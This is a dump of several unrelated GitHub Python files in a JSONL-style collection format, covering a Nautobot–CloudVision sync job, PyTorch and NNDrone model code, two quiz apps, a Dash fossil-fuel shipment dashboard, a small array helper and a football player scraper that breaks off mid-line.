CloudVisionDataTarget(DataTarget, Job): # pylint: disable=abstract-method\n \"\"\"CloudVision SSoT Data Target.\"\"\"\n\n debug = BooleanVar(description=\"Enable for more verbose debug logging\")\n\n class Meta:\n \"\"\"Meta data for DataTarget.\"\"\"\n\n name = \"Nautobot ⟹ CloudVision\"\n data_target = \"CloudVision\"\n data_target_icon = static(\"nautobot_ssot_aristacv/cvp_logo.png\")\n description = \"Sync tag data from Nautobot to CloudVision\"\n\n @classmethod\n def config_information(cls):\n \"\"\"Dictionary describing the configuration of this DataTarget.\"\"\"\n if APP_SETTINGS.get(\"cvp_host\"):\n return {\n \"Server type\": \"On prem\",\n \"CloudVision host\": APP_SETTINGS.get(\"cvp_host\"),\n \"Username\": APP_SETTINGS.get(\"cvp_user\"),\n \"Verify\": str(APP_SETTINGS.get(\"verify\"))\n # Password is intentionally omitted!\n }\n return {\n \"Server type\": \"CVaaS\",\n \"CloudVision host\": APP_SETTINGS.get(\"cvaas_url\"),\n # Token is intentionally omitted!\n }\n\n @classmethod\n def data_mappings(cls):\n \"\"\"List describing the data mappings involved in this DataTarget.\"\"\"\n return (DataMapping(\"Tags\", reverse(\"extras:tag_list\"), \"Device Tags\", None),)\n\n def load_source_adapter(self):\n \"\"\"Load data from Nautobot into DiffSync models.\"\"\"\n self.logger.info(\"Loading data from Nautobot\")\n self.source_adapter = NautobotAdapter(job=self)\n self.source_adapter.load()\n\n def load_target_adapter(self):\n \"\"\"Load data from CloudVision into DiffSync models.\"\"\"\n if self.debug:\n if APP_SETTINGS.get(\"delete_devices_on_sync\"):\n self.logger.warning(\n \"Devices not present in Cloudvision but present in Nautobot will be deleted from Nautobot.\"\n )\n else:\n self.logger.warning(\n \"Devices not present in Cloudvision but present in Nautobot will not be deleted from Nautobot.\"\n )\n self.logger.info(\"Connecting to CloudVision\")\n with CloudvisionApi(\n cvp_host=APP_SETTINGS[\"cvp_host\"],\n cvp_port=APP_SETTINGS.get(\"cvp_port\", \"8443\"),\n verify=APP_SETTINGS[\"verify\"],\n username=APP_SETTINGS[\"cvp_user\"],\n password=APP_SETTINGS[\"cvp_password\"],\n cvp_token=APP_SETTINGS[\"cvp_token\"],\n ) as client:\n self.logger.info(\"Loading data from CloudVision\")\n self.target_adapter = CloudvisionAdapter(job=self, conn=client)\n self.target_adapter.load()\n\n\njobs = [CloudVisionDataSource, CloudVisionDataTarget]\n","repo_name":"nautobot/nautobot-plugin-ssot","sub_path":"nautobot_ssot/integrations/aristacv/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":8067,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"5"} +{"seq_id":"28125549068","text":"import torch\nimport torchvision\nfrom PIL import Image\nfrom torch import nn\nfrom torch.utils.tensorboard import SummaryWriter\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# writer = SummaryWriter(\"./logs_imgs\")\n\nimage_path = \"./imgs/cat3.jpg\"\nimage = Image.open(image_path)\n# png格式是四个通道,除了RGB三通道外,还有一个透明度通道,调用 image = image.convert(RGB),保留其颜色通道\n# 如果图片本来就是三个颜色通道,经过此操作,不变,且不同截图软件截图保留的通道数是不一样的\nimage = image.convert('RGB')\nprint(image)\n\ntransform = torchvision.transforms.Compose([torchvision.transforms.Resize((32, 32)),\n torchvision.transforms.ToTensor()])\n\nimage = transform(image)\nprint(image.shape)\n\n# writer.add_images(\"image\", image, 1, dataformats='CHW')\n# writer.close()\n\n\nclass Cifar10(nn.Module):\n def __init__(self):\n super(Cifar10, self).__init__()\n self.model = nn.Sequential(\n nn.Conv2d(3, 32, 5, 1, 2),\n nn.MaxPool2d(2),\n nn.Conv2d(32, 32, 5, 1, 2),\n nn.MaxPool2d(2),\n nn.Conv2d(32, 64, 5, 1, 2),\n nn.MaxPool2d(2),\n nn.Flatten(),\n nn.Linear(64 * 4 * 4, 64),\n nn.Linear(64, 10)\n )\n\n def forward(self, x):\n x = self.model(x)\n return x\n\n\nmodel = torch.load(\"./trained_models/cifar10_gpu_30.pth\")\nmodel.to(device)\n# print(model)\nimage = torch.reshape(image, (1, 3, 32, 32))\n\nmodel.eval()\nwith torch.no_grad():\n image = image.to(device)\n output = model(image)\nprint(output)\n\nprint(output.argmax(1))\n# 'airplane' = (int) 0\n# 'automobile' = (int) 1\n# 'bird' = (int) 2\n# 'cat' = (int) 3\n# 'deer' = (int) 4\n# 'dog' = (int) 5\n# 'frog' = (int) 6\n# 'horse' = (int) 7\n# 'ship' = (int) 8\n# 'truck' = (int) 9\n","repo_name":"farwidely/Pytorch_Learning","sub_path":"sort_test.py","file_name":"sort_test.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38376821554","text":"import pickle\nimport numpy as np\ntry:\n from utilities import sigmoid_activation, sigmoid_prime, cost_derivative, inv_sigmoid_activation\nexcept ImportError:\n from utilities.utilities import sigmoid_activation, sigmoid_prime, cost_derivative, inv_sigmoid_activation\n\ntry:\n from activations import cross_entropy\nexcept ImportError:\n from nndrone.activations import cross_entropy\n\nclass BaseModel(object):\n def __init__(self, n_features, n_outputs, layers = None, initialiser = None):\n self._n_features = n_features\n self._n_outputs = n_outputs\n self._layers = [] if layers is None else layers\n self._initialiser = initialiser\n\n\n def add_layer(self, outsize):\n # find last layer size\n insize = self._n_features\n if self._layers:\n insize = self._layers[len(self._layers)-1]['weight'].shape[0]\n\n layer = dict()\n layer['weight'] = np.matrix(np.random.random((outsize if outsize > 1 else 1, insize)))\n layer['bias'] = np.matrix(np.random.random((outsize if outsize > 1 else 1, 1)))\n print('BaseModel: Adding layer...')\n print('BaseModel: Adding weights matrix: (%s,%s)' % (layer['weight'].shape[0], layer['weight'].shape[1]))\n print('BaseModel: Adding bias vector: (%s,%s)' % (layer['bias'].shape[0], layer['bias'].shape[1]))\n\n self._layers.append(layer)\n\n\n def eval_layer(self, act, lay, debug=False):\n layer = self._layers[lay]\n if debug:\n print('Evaluating activation: (%s,%s)' % (act.shape[0], act.shape[1]))\n print('Input act:')\n print(act)\n print('Input weight')\n print(layer['weight'])\n # act = sigmoid_activation(np.dot(layer['weight'], act) + layer['bias'])\n act = np.dot(layer['weight'], act) + layer['bias']\n if debug:\n print('Output act:')\n print(act)\n return act\n\n\n def evaluate_total(self, in_data, debug=False):\n if hasattr(in_data[0], '__iter__'):\n in_mat = np.column_stack([np.array(tuple(d)) for d in in_data])\n else:\n in_mat = np.array([[d] for d in in_data])\n if debug:\n print('Evaluating data: (%s,%s)' % (in_mat.shape[0], in_mat.shape[1]))\n\n for c, layer in enumerate(self._layers):\n in_mat = sigmoid_activation(self.eval_layer(in_mat, c, debug))\n if c == len(self._layers)-2:\n self._initialiser = in_mat\n if debug:\n print('Evaluated layer: %s' % (c+1))\n print('Output shape: (%s,%s)' % (in_mat.shape[0], in_mat.shape[1]))\n print('Output:')\n print(in_mat)\n return in_mat\n\n\n def print_layers(self):\n for c, layer in enumerate(self._layers):\n print('Layer %s' % (c+1))\n print('Weights matrix shape: (%s,%s)' % (layer['weight'].shape[0], layer['weight'].shape[1]))\n print('Bias vector shape (%s,%s)' % (layer['bias'].shape[0], layer['bias'].shape[1]))\n\n\n def backprop(self, x, y):\n nabla_b = []\n nabla_w = []\n a = x\n zs = []\n\n if hasattr(x[0], '__iter__'):\n a = np.column_stack([np.array(tuple(d)) for d in a])\n else:\n a = np.array([[d] for d in a])\n\n acts = [a]\n for c, layer in enumerate(self._layers):\n nabla_b.append(np.zeros(layer['bias'].shape))\n nabla_w.append(np.zeros(layer['weight'].shape))\n\n z = self.eval_layer(a, c)\n zs.append(z)\n #\n a = sigmoid_activation(z)\n acts.append(a)\n # print('shape z: (%s,%s)' % (z.shape[0],z.shape[1]))\n # print('shape a: (%s,%s)' % (a.shape[0],a.shape[1]))\n\n # print('shape cost_deriv: (%s,%s)' % (cost_derivative(acts[-1], y).shape[0],cost_derivative(acts[-1], y).shape[1]))\n delta = np.multiply(cost_derivative(acts[-1], y).T, sigmoid_prime(zs[-1]))\n nabla_b[-1] = delta\n nabla_w[-1] = np.dot(delta, acts[-2].T)\n\n for la in range(2, len(self._layers)+1):\n # print('Processing l=%s:' % l)\n\n z = zs[-la]\n sp = sigmoid_prime(z)\n\n # print('shape sp: (%s,%s)' % (sp.shape[0],sp.shape[1]))\n # print('shape z: (%s,%s)' % (z.shape[0],z.shape[1]))\n # print('shape delta: (%s,%s)' % (delta.shape[0],delta.shape[1]))\n # print('layer shape: (%s,%s)' % (self._layers[-l+1]['weight'].shape[0], self._layers[-l+1]['weight'].shape[1]))\n\n # special case if delta is a scalar\n if delta.shape == (1, 1):\n delta = np.multiply(np.multiply(self._layers[-la+1]['weight'], delta[0][0]).T, sp)\n else:\n delta = np.multiply(np.dot(self._layers[-la+1]['weight'].T, delta), sp)\n\n # print('new shape delta: (%s,%s)' % (delta.shape[0],delta.shape[1]))\n\n nabla_b[-la] = delta\n # special case if delta is a scalar\n if delta.shape == (1, 1):\n nabla_w[-la] = np.multiply(delta[0][0], acts[-la-1].T)\n else:\n nabla_w[-la] = np.dot(delta, acts[-la-1].T)\n\n # for w, b in zip(nabla_w, nabla_b):\n # print('Weights nabla: (%s,%s)' % (w.shape[0],w.shape[1]))\n # print('bias nabla: (%s,%s)' % (b.shape[0],b.shape[1]))\n # print(nabla_b)\n # print(nabla_w)\n # import sys\n # sys.exit(0)\n\n return nabla_b, nabla_w\n\n\n def update(self, in_data_x, in_data_y, l_rate):\n nabla_b = []\n nabla_w = []\n for layer in self._layers:\n nabla_b.append(np.zeros(layer['bias'].shape))\n nabla_w.append(np.zeros(layer['weight'].shape))\n\n for x, y in zip(in_data_x, in_data_y):\n delta_nabla_b, delta_nabla_w = self.backprop(x, y)\n nabla_b = [nb+dnb for nb, dnb in zip(nabla_b, delta_nabla_b)]\n nabla_w = [nw+dnw for nw, dnw in zip(nabla_w, delta_nabla_w)]\n\n # nabla_b, nabla_w = self.backprop(in_data_x, in_data_y)\n for c, layer in enumerate(self._layers):\n layer['bias'] = layer['bias'] - np.multiply(l_rate/len(in_data_x), nabla_b[c])\n layer['weight'] = layer['weight'] - np.multiply(l_rate/len(in_data_x), nabla_w[c])\n\n\n def add_layer_dynamic(self):\n # Add identity layer to the second to last layer\n # layer evaluation reminder:\n # in_mat = sigmoid_activation(self.eval_layer(in_mat, c, debug))\n sq_size = self._layers[-2]['weight'].shape[0]\n layer = dict()\n layer['weight'] = np.zeros((sq_size, sq_size), dtype=float)\n for n in range(self._initialiser.shape[0]):\n if self._initialiser[n] > 0.0:\n layer['weight'][n][n] = inv_sigmoid_activation(self._initialiser[n])/self._initialiser[n]\n else:\n layer['weight'][n][n] = 1.0\n layer['bias'] = np.zeros((sq_size, 1), dtype=float)\n\n print('BaseModel: Requested model change...')\n print('BaseModel: Adding weights matrix: (%s,%s)' % (layer['weight'].shape[0], layer['weight'].shape[1]))\n print('BaseModel: Adding bias vector: (%s,%s)' % (layer['bias'].shape[0], layer['bias'].shape[1]))\n\n self._layers.insert(len(self._layers)-1, layer)\n\n\n def expand_layer_dynamic(self, layer):\n # Pad with zeros to give some more freedom to\n # an intermediate layer.\n # This must be done to opposite indices\n # in consecutive layers\n\n _layer = self._layers[layer]\n _layer_p1 = self._layers[layer + 1]\n # m in n out\n # layer -> m in, n+1 out\n # layer+1 -> m+1 in, n out\n self._layers[layer]['weight'] = np.pad(_layer['weight'], [(0, 1), (0, 0)], mode = 'constant', constant_values = 0)\n self._layers[layer]['bias'] = np.pad(_layer['bias'], [(0, 1), (0, 0)], mode = 'constant', constant_values = 0)\n self._layers[layer + 1]['weight'] = np.pad(_layer_p1['weight'], [(0, 0), (0, 1)], mode = 'constant', constant_values = 0)\n\n\n def save_model(self, output_name):\n f_out = open(output_name, 'wb')\n pickle.dump(self, f_out)\n f_out.close()\n\n\n def load_model(self, input_name):\n _model = pickle.load(open(input_name, 'rb'))\n self._n_features = _model._n_features\n self._n_outputs = _model._n_outputs\n self._layers = _model._layers\n\n\n def __eq__(self, other):\n \"\"\"are models the same\"\"\"\n if not isinstance(other, BaseModel):\n return False\n if self._n_features != other._n_features:\n return False\n if self._n_outputs != other._n_outputs:\n return False\n if len(self._layers) != len(other._layers):\n return False\n for i in range(len(self._layers)):\n if not np.array_equal(np.asarray(self._layers[i]['bias'], dtype = float), np.asarray(other._layers[i]['bias'], dtype = float)):\n return False\n if not np.array_equal(np.asarray(self._layers[i]['weight'], dtype = float), np.asarray(other._layers[i]['weight'], dtype = float)):\n return False\n return True\n\n def __hash__(self):\n return hash((self._n_features, self._n_outputs, self._layers))\n\n\n def __ne__(self, other):\n \"\"\"are models different\"\"\"\n return not (self == other)\n\n\nclass AdvancedModel(object):\n def __init__(self, layers = None, learning_rate = 0.05, loss = cross_entropy):\n self.layers = list() if layers is None else layers\n self.loss = loss\n self._learning_rate = learning_rate\n\n\n @property\n def learning_rate(self):\n return self._learning_rate\n\n\n @learning_rate.setter\n def learning_rate(self, v):\n self._learning_rate = v\n\n\n def add(self, layer):\n self.layers.append(layer)\n if len(self.layers) == 1:\n self.layers[-1].configure()\n else:\n self.layers[-1].input_shape = self.layers[-2].output_shape()\n self.layers[-1].configure()\n\n\n def num_layers(self):\n return len(self.layers)\n\n\n def evaluate_total(self, inputs, debug = False):\n return self.forward_pass(inputs)\n\n\n def forward_pass(self, inputs):\n act = inputs\n for l in self.layers:\n act = l.forward_pass(act)\n return act\n\n\n def forward_pass_fast(self, inputs):\n act = inputs\n for l in self.layers:\n act = l.forward_pass_fast(act)\n return act\n\n\n def train_step(self, batch):\n batch_inputs, batch_labels = batch\n act = batch_inputs\n for l in self.layers:\n act = l.forward_pass(act)\n\n loss_err = self.loss.gradient(act, batch_labels)\n back_err = loss_err\n for l in reversed(self.layers):\n back_err = l.backprop(back_err)\n l.update(self.learning_rate)\n\n\n def add_layer_dynamic(self):\n raise NotImplementedError()\n\n\n def expand_layer_dynamic(self, layer_index):\n out_shape = self.layers[layer_index].add_filter()\n for idx in range(layer_index + 1, self.num_layers()):\n out_shape = self.layers[idx].change_input(out_shape)\n\n\n def print_layers(self):\n for idx, l in self.layers:\n l = self.layers[idx]\n print('Configuration for layer [{}]: {}'.format(idx, l.__class__.__name__))\n l.print()\n\n\n def eval_layer(self, inputs, layer_idx, debug = False):\n return self.layers[layer_idx].forward_pass(inputs)\n\n\n def backprop(self, batch_inputs, batch_labels):\n raise NotImplementedError()\n\n\n def update(self, batch_inputs, batch_labels, learning_rate):\n act = batch_inputs\n for l in self.layers:\n act = l.forward_pass(act)\n\n loss_err = self.loss.gradient(act, batch_labels)\n back_err = loss_err\n for l in reversed(self.layers):\n back_err = l.backprop(back_err)\n l.update(learning_rate)\n\n\n def save_model(self, output_name):\n f_out = open(output_name, 'wb')\n pickle.dump(self, f_out)\n f_out.close()\n\n\n def load_model(self, input_name):\n raise NotImplementedError()\n\n\n def __eq__(self, other):\n \"\"\"are models the same\"\"\"\n if not isinstance(other, AdvancedModel):\n return False\n if (self.num_layers() != other.num_layers()):\n return False\n for i in range(self.num_layers()):\n if self.layers[i].__class__.__name__ != other.layers[i].__class__.__name__:\n return False\n if self.layers[i].input_shape != other.layers[i].input_shape:\n return False\n if self.layers[i].output_shape() != other.layers[i].output_shape():\n return False\n return True\n\n\n def __hash__(self):\n return hash((self.layers, self.loss, self._learning_rate))\n\n\n def __ne__(self, other):\n \"\"\"are models different\"\"\"\n return not (self == other)\n\n\n\n\n\n\n\n\n\n","repo_name":"scikit-hep/NNDrone","sub_path":"nndrone/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13028,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"69811123991","text":"import model\nimport bottle\n\nkviz = model.Kviz()\n\n@bottle.get(\"/\")\ndef index():\n return bottle.template(\"index.tpl\")\n\n@bottle.post(\"/nova_igra/\")\ndef nova_igra():\n id_igre = kviz.nova_igra()\n bottle.response.set_cookie(\"idigre\", \"idigre{0}\".format(id_igre), path=\"/\")\n bottle.redirect(\"/igra/\")\n\n@bottle.get(\"/igra/\")\ndef pokazi_igro():\n id_igre = int(bottle.request.get_cookie(\"idigre\").split(\"e\")[1])\n igra, poskus = kviz.igre[id_igre]\n return bottle.template(\"igra.tpl\", igra=igra, poskus=poskus) \n\n@bottle.post(\"/igra/\")\ndef ugibaj():\n id_igre = int(bottle.request.get_cookie(\"idigre\").split(\"e\")[1])\n odgovor = bottle.request.forms.getunicode(\"odgovor\")\n kviz.ugibaj(id_igre, odgovor)\n bottle.redirect(\"/igra/\")\n\nbottle.run(reloader=True, debug=True)","repo_name":"gapipust/Projekt","sub_path":"kviz.py","file_name":"kviz.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9974596433","text":"from copy import deepcopy\nfrom typing import Union\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nimport gui\nimport models as m\nimport widgets\nfrom api import quiz as q\n\n\nclass QuizEditor(QtWidgets.QDialog):\n ui: gui.dialogs.editor.Ui_QuizEditor\n context: Union[QtWidgets.QWidget, \"widgets.quiz.Quiz\"]\n token: str\n quiz_id: int | None\n quiz: q.Quiz\n\n update_ui = QtCore.pyqtSignal()\n\n def __init__(\n self,\n parent: QtWidgets.QWidget,\n token: str,\n quiz: m.Quiz | None = None,\n pixmap: QtGui.QPixmap | None = None,\n image_updated: QtCore.pyqtBoundSignal | None = None,\n ) -> None:\n super().__init__(parent)\n self.ui = gui.dialogs.editor.Ui_QuizEditor()\n self.ui.setupUi(self)\n self.context = parent\n self.token = token\n\n if quiz is not None:\n quiz = deepcopy(quiz)\n self.quiz_id = quiz.id\n self.quiz = q.Quiz(\n label=quiz.label,\n image_url=quiz.image_url,\n questions=quiz.questions,\n )\n else:\n self.quiz_id = None\n self.quiz = q.Quiz(label=\"\")\n\n if pixmap is not None:\n self.ui.image.setPixmap(pixmap)\n if image_updated is not None:\n image_updated.connect(self.ui.image.setPixmap)\n\n self.ui.labelField.setText(self.quiz.label)\n self.ui.imageURLField.setText(self.quiz.image_url)\n\n self.ui.saveButton.clicked.connect(self.save_button)\n self.ui.cancelButton.clicked.connect(self.cancel_button)\n self.ui.addFieldButton.clicked.connect(self.add_button)\n self.ui.deleteButton.clicked.connect(self.delete_button)\n\n self.update_ui.connect(self._update_ui)\n self.update_ui.emit()\n\n def add_button(self) -> None:\n question = m.Question(title=\"Заголовок вопроса\")\n self.quiz.questions.append(question)\n self.ui.questionTabs.setCurrentIndex(\n self.ui.questionTabs.addTab(\n widgets.editor.question.Question(self, question), question.title\n )\n )\n\n def cancel_button(self) -> None:\n if (\n QtWidgets.QMessageBox(\n QtWidgets.QMessageBox.Icon.Critical,\n \"Confirmation\",\n \"Вы хотите отменить изменения ?\",\n QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No,\n ).exec()\n == QtWidgets.QMessageBox.Yes\n ):\n self.close()\n\n def save_button(self) -> None:\n self.quiz.label = self.ui.labelField.text()\n self.quiz.image_url = self.ui.imageURLField.text() or None\n\n if self.quiz_id is None:\n q.add(self.token, self.quiz)\n else:\n quiz = q.update(self.token, self.quiz_id, self.quiz)\n if isinstance(self.context, widgets.quiz.Quiz):\n self.context.quiz = quiz\n self.context.update_ui.emit()\n\n self.close()\n\n def delete_button(self) -> None:\n if (\n QtWidgets.QMessageBox(\n QtWidgets.QMessageBox.Icon.Critical,\n \"Confirmation\",\n \"Вы точно хотите удалить опрос ?\",\n QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No,\n ).exec()\n == QtWidgets.QMessageBox.Yes\n ):\n if self.quiz_id is not None and isinstance(self.context, widgets.quiz.Quiz):\n q.delete(self.token, self.quiz_id)\n self.context.context.quizzes.remove(self.context.quiz)\n self.context.deleteLater()\n self.close()\n\n def _update_ui(self) -> None:\n for i in range(self.ui.questionTabs.count()):\n self.ui.questionTabs.widget(i).deleteLater()\n\n for question in self.quiz.questions:\n self.ui.questionTabs.addTab(\n widgets.editor.question.Question(self, question), question.title\n )\n","repo_name":"igorechek06/pyQuiz","sub_path":"client/dialogs/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":4021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20125163675","text":"import math\n\nimport pandas as pd\nimport plotly.express as px\nfrom dash import DiskcacheManager, CeleryManager, Input, Output, html, State, dcc\nfrom dash.exceptions import PreventUpdate\nfrom server import app, cache\nfrom utils import palette, opaque_background\n\nfrom . import COUNTRY_GLOBAL\nfrom . import FACET_NONE, DATE_FROM\nfrom . import units\nfrom . import laundromat_iso2s, pcc_iso2s, eu27_iso2s\nfrom .utils import roll_average_insurance\nfrom .data import get_insurance_full\n\n\n@app.callback(Output(\"insurance-rolling-days\", \"disabled\"), Input(\"insurance-chart-type\", \"value\"))\ndef update_options(chart_type):\n if not chart_type:\n raise PreventUpdate\n return chart_type in [\"bar\"]\n\n\n@app.callback(\n output=Output(\"insurance-origin-country\", \"value\", allow_duplicate=True),\n inputs=[\n Input(\"insurance-origin-country-select-laundromat\", \"n_clicks\"),\n ],\n allow_duplicate=True,\n suppress_callback_exceptions=True,\n prevent_initial_call=True,\n)\ndef select_origin_laundromat(n_clicks):\n return laundromat_iso2s\n\n\n@app.callback(\n output=Output(\"insurance-origin-country\", \"value\", allow_duplicate=True),\n inputs=[\n Input(\"insurance-origin-country-select-russia\", \"n_clicks\"),\n ],\n allow_duplicate=True,\n suppress_callback_exceptions=True,\n prevent_initial_call=True,\n)\ndef select_origin_laundromat(n_clicks):\n return [\"RU\"]\n\n\n@app.callback(\n output=Output(\"insurance-destination-country\", \"value\", allow_duplicate=True),\n inputs=[\n Input(\"insurance-destination-country-select-laundromat\", \"n_clicks\"),\n ],\n allow_duplicate=True,\n suppress_callback_exceptions=True,\n prevent_initial_call=True,\n)\ndef select_origin_laundromat(n_clicks):\n return laundromat_iso2s\n\n\n@app.callback(\n output=Output(\n \"insurance-destination-country\",\n \"value\",\n allow_duplicate=True,\n ),\n inputs=[\n Input(\"insurance-destination-country-select-pcc\", \"n_clicks\"),\n ],\n suppress_callback_exceptions=True,\n prevent_initial_call=True,\n)\ndef select_origin_pcc(n_clicks):\n return pcc_iso2s\n\n\n@app.callback(\n output=Output(\"insurance-destination-country\", \"value\", allow_duplicate=True),\n inputs=[\n Input(\"insurance-destination-country-select-eu27\", \"n_clicks\"),\n ],\n allow_duplicate=True,\n suppress_callback_exceptions=True,\n prevent_initial_call=True,\n)\ndef select_destination_eu27(n_clicks):\n return eu27_iso2s\n\n\n@app.callback(\n output=Output(\"insurance-area-chart\", \"figure\"),\n inputs=[\n State(\"insurance-origin-country\", \"value\"),\n State(\"insurance-destination-country\", \"value\"),\n State(\"insurance-commodity\", \"value\"),\n Input(\"insurance-refresh\", \"n_clicks\"),\n Input(\"colour-by\", \"value\"),\n Input(\"facet\", \"value\"),\n Input(\"insurance-rolling-days\", \"value\"),\n # Chart specific\n Input(\"unit\", \"value\"),\n Input(\"insurance-chart-type\", \"value\"),\n ],\n suppress_callback_exceptions=True,\n)\ndef update_chart(\n origin_iso2,\n destination_iso2,\n commodity,\n n,\n colour_by,\n facet,\n rolling_days,\n unit_id,\n chart_type,\n):\n if facet == FACET_NONE:\n facet = None\n # if n is None:\n # raise PreventUpdate\n\n if chart_type == \"bar\":\n rolling_days = 1\n\n df = get_insurance_full(\n origin_iso2,\n destination_iso2,\n commodity,\n colour_by,\n facet,\n rolling_days,\n )\n\n unit = units[unit_id]\n value = unit[\"column\"]\n unit_str = unit[\"label\"]\n unit_format = unit[\"format\"]\n unit_scale = unit[\"scale\"]\n df[value] = df[value] * unit_scale\n hovertemplate = f\"%{{customdata[0]}}: %{{y:{unit_format}}} {unit_str}<extra></extra>\"\n\n sort_by = []\n if facet is not None:\n facet_col_wrap = math.ceil(math.sqrt(len(df[facet].unique())))\n df[facet] = pd.Categorical(\n df[facet], categories=df.groupby(facet)[value].sum().sort_values(ascending=False).index\n )\n sort_by.append(facet)\n else:\n facet_col_wrap = 1\n\n if colour_by is not None:\n\n existing_categories = df[colour_by].unique()\n specific_order = [\"G7\", \"Norway\", \"Other\", \"Unknown\"]\n if all([any(x in y for x in specific_order) for y in existing_categories]):\n categories = [next(x for x in existing_categories if y in x) for y in specific_order]\n else:\n categories = df.groupby(colour_by)[value].sum().sort_values(ascending=False).index\n df[colour_by] = pd.Categorical(df[colour_by], categories=categories)\n\n sort_by.append(colour_by)\n\n df = df.sort_values(sort_by)\n fig = None\n\n if chart_type == \"area_share\":\n group_by = [x for x in [\"date\", facet] if x is not None]\n # Remove commodities without data\n df = df[df[value] > 0]\n\n df[\"share\"] = df.groupby(group_by)[value].apply(lambda x: x / x.sum())\n fig = px.area(\n df,\n x=\"date\",\n y=\"share\",\n color=colour_by,\n custom_data=[colour_by],\n title=f\"<span class='title'><b>Daily flows of Russian fossil fuels</b></span><br><span class='subtitle'>{unit_str} per day</span>\",\n color_discrete_map=palette,\n facet_col=facet,\n facet_col_wrap=facet_col_wrap,\n # make it opaque\n )\n fig.for_each_yaxis(lambda x: x.update(tickformat=\".0%\"))\n fig = opaque_background(fig)\n\n elif chart_type == \"area\":\n fig = px.area(\n df,\n x=\"date\",\n y=value,\n color=colour_by,\n custom_data=[colour_by],\n title=f\"<span class='title'><b>Daily flows of Russian fossil fuels</b></span><br><span class='subtitle'>{unit_str} per day</span>\",\n color_discrete_map=palette,\n facet_col=facet,\n facet_col_wrap=facet_col_wrap,\n )\n fig = opaque_background(fig)\n\n elif chart_type == \"line\":\n fig = px.line(\n df,\n x=\"date\",\n y=value,\n color=colour_by,\n custom_data=[colour_by],\n title=f\"<span class='title'><b>Daily flows of Russian fossil fuels</b></span><br><span class='subtitle'>{unit_str} per day</span>\",\n color_discrete_map=palette,\n facet_col=facet,\n facet_col_wrap=facet_col_wrap,\n )\n\n elif chart_type == \"bar\":\n # Get floor month\n frequency = \"M\"\n group_by = [x for x in [\"period\", colour_by, facet] if x is not None]\n df[\"period\"] = pd.to_datetime(df.date).dt.to_period(frequency).dt.to_timestamp()\n df = df.groupby(group_by)[value].sum().reset_index()\n fig = px.bar(\n df,\n x=\"period\",\n y=value,\n color=colour_by,\n custom_data=[colour_by],\n title=f\"<span class='title'><b>Monthly flows of Russian fossil fuels</b></span><br><span class='subtitle'>{unit_str} per month</span>\",\n color_discrete_map=palette,\n facet_col=facet,\n facet_col_wrap=facet_col_wrap,\n )\n\n if not fig:\n return None\n\n fig.for_each_annotation(lambda a: a.update(text=a.text.split(\"=\")[-1]))\n # fig.for_each_xaxis(lambda x: x.update(title=None, range=[DATE_FROM, None]))\n fig.for_each_yaxis(lambda x: x.update(title=None))\n\n fig.update_traces(\n hovertemplate=hovertemplate,\n )\n\n fig.update_layout(\n plot_bgcolor=\"white\",\n hovermode=\"x unified\",\n legend_title=\"\",\n legend={\"traceorder\": \"reversed\"},\n xaxis_title=None,\n yaxis_title=None,\n margin=dict(l=0, r=20),\n title=dict(xref=\"paper\", xanchor=\"left\", x=0),\n )\n\n # def update_opacity(figure, opacity):\n # for trace in range(len(figure['data'])):\n # # print(figure['data'][trace]['fillcolor'],'-> ',end='')\n # rgba_split = figure['data'][trace]['fillcolor'].split(',')\n # figure['data'][trace]['fillcolor'] = ','.join(rgba_split[:-1] + [' {})'.format(opacity)])\n # # print(figure['data'][trace]['fillcolor'])\n # return figure\n #\n # # fig = update_opacity(fig, 1)\n return fig\n","repo_name":"energyandcleanair/fossil_shipment_tracker","sub_path":"dashboard/insurance/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"35414227907","text":"import numpy as np\n\ndef convert_to_ndarray(t) -> np.ndarray:\n \"\"\"Converts a scalar or list to a numpy array\n\n Args:\n t (float,list): [description]\n\n Returns:\n np.ndarray: variable as an array\n \"\"\"\n if type(t) is not np.ndarray and type(t) is not list: # Scalar\n t = np.array([t],dtype=float)\n elif (type(t) is list):\n t = np.array(t,dtype=float)\n return t","repo_name":"nasa/GlennOPT","sub_path":"glennopt/helpers/convert_to_ndarray.py","file_name":"convert_to_ndarray.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"5"} +{"seq_id":"22896966391","text":"import requests\nimport json\nimport csv\n\ndef configure_api():\n url = \"https://footballapi.pulselive.com/football/players\"\n\n headers = {\n \"content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"DNT\": \"1\",\n \"Origin\": \"https://www.premierleague.com\",\n \"Referer\": \"https://www.premierleague.com/players\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\"\n }\n\n queryParams = {\n \"pageSize\": 32,\n \"compSeasons\": 274,\n \"altIds\": True,\n \"page\": 0,\n \"type\": \"player\",\n \"id\": -1,\n \"compSeasonId\": 274\n }\n return url, headers, queryParams\n\ndef Scraper(url , headers , queryParams):\n response = requests.get(url = url, headers = headers, params = queryParams)\n if response.status_code == 200:\n # load the json data\n data = json.loads(response.text)\n # print the required data\n for player in data[\"content\"]:\n obj =({\n \"name\": player[\"name\"][\"display\"],\n \"nationalTeam\": player[\"nationalTeam\"][\"country\"],\n \"position\": player[\"info\"][\"positionInfo\"]\n })\n list.append(obj)\n\nkeys = list[0].keys()\nwith 